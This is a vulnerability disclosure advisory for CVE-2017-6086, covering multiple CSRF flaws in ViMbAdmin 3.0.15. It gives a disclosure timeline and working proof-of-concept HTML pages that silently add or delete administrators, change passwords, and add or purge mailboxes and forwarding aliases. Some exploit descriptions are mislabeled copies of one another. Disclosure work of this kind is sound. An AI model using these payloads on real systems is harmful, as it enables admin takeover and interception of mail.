273 lines
No EOL
7.5 KiB
Markdown
273 lines
No EOL
7.5 KiB
Markdown
# [CVE-2017-6086] Multiple CSRF vulnerabilities in ViMbAdmin version 3.0.15
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## Product Description
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ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at http://www.vimbadmin.net and the source code of the application is available on github https://github.com/opensolutions.
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## Details
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**CVE ID**: CVE-2017-6086
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**Access Vector**: remote
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**Security Risk**: high
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**Vulnerability**: CWE-352
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**CVSS Base Score**: 8.8
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**CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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## Proof of concept
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### Add administrator user
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#### Exploit
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The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
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```html
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/admin/add" method="POST" target="csrf-frame" >
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<input type="text" name="user" value="target@email" >
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<input type="text" name="password" value="newpassword" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable code
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The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.
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### Remove administrator user
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#### Exploit
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The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
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```html
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/admin/purge/aid/<administrator id>" method="GET" target="csrf-frame" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable code
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The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.
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### Change administrator password
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#### Exploit
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The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
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```html
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/admin/password/aid/<administrator id>" method="POST" target="csrf-frame" >
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<input type="text" name="password" value="newpassword" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable code
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The vulnerable code is located in the `passwordAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.
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### Add mailbox address
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#### Exploit
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The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
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```html
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/mailbox/add/did/<domain id>" method="POST" target="csrf-frame" >
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<input type="text" name="local_part" value="<fakeemail>" >
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<input type="text" name="domain" value="<domain id>" >
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<input type="text" name="name" value="<fake name>" >
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<input type="text" name="password" value="<password>" >
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<input type="text" name="quota" value="0" >
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<input type="text" name="alt_email" value="" >
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<input type="text" name="cc_welcome_email" value="" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable code
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The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.
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### Purge mailbox
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#### Exploit
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The following html/javascript code allows to remove a mailbox address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
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```html
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/mailbox/purge/mid/<mailbox id>" method="POST" target="csrf-frame" >
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<input type="text" name="data" value="purge" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable code
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The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.
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### Archive mailbox
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#### Exploit
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The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.
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```html
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/archive/add/mid/<mailbox id>" method="GET" target="csrf-frame" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable code
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The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/ArchiveController.php` file.
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### Add alias address
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#### Exploit
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The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.
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```html
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curl 'http://<ip>/alias/add/did/<domain id>' --data 'local_part=<fake mailbox>&domain=<domain id>&goto%5B%5D=<redirection email address>'
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/alias/add/did/<domain id>" method="POST" target="csrf-frame" >
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<input type="text" name="local_part" value="<fake mailbox>" >
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<input type="text" name="domain" value="<domain id>" >
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<input type="text" name="goto[]" value="<redirection email address>" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable code
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The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.
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### Remove alias address
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#### Exploit
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The following html/javascript code allows the removal of a alias address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.
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```html
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<head>
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<title>CSRF ViMbAdmin</title>
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</head>
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<body>
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form id="csrf-form" action="http://<target ip>/alias/delete/alid/<alias id>" method="GET" target="csrf-frame" >
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</form>
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<script>document.getElementById("csrf-form").submit()</script>
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</body>
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```
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#### Vulnerable Code
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The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.
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## Affected version
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* tested on version 3.0.15
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## Timeline (dd/mm/yyyy)
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* 22/01/2017 : Initial discovery.
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* 16/02/2017 : First contact with opensolutions.io
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* 16/02/2017 : Advisory sent.
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* 24/02/2017 : Reply from the owner, acknowledging the report and planning to fix the vulnerabilities.
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* 13/03/2017 : Sysdream Labs request for an update.
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* 29/03/2017 : Second request for an update.
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* 29/03/2017 : Reply from the owner stating that he has no time to fix the issues.
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* 03/05/2017 : Full disclosure.
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## Credits
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* Florian NIVETTE, Sysdream (f.nivette -at- sysdream -dot- com) |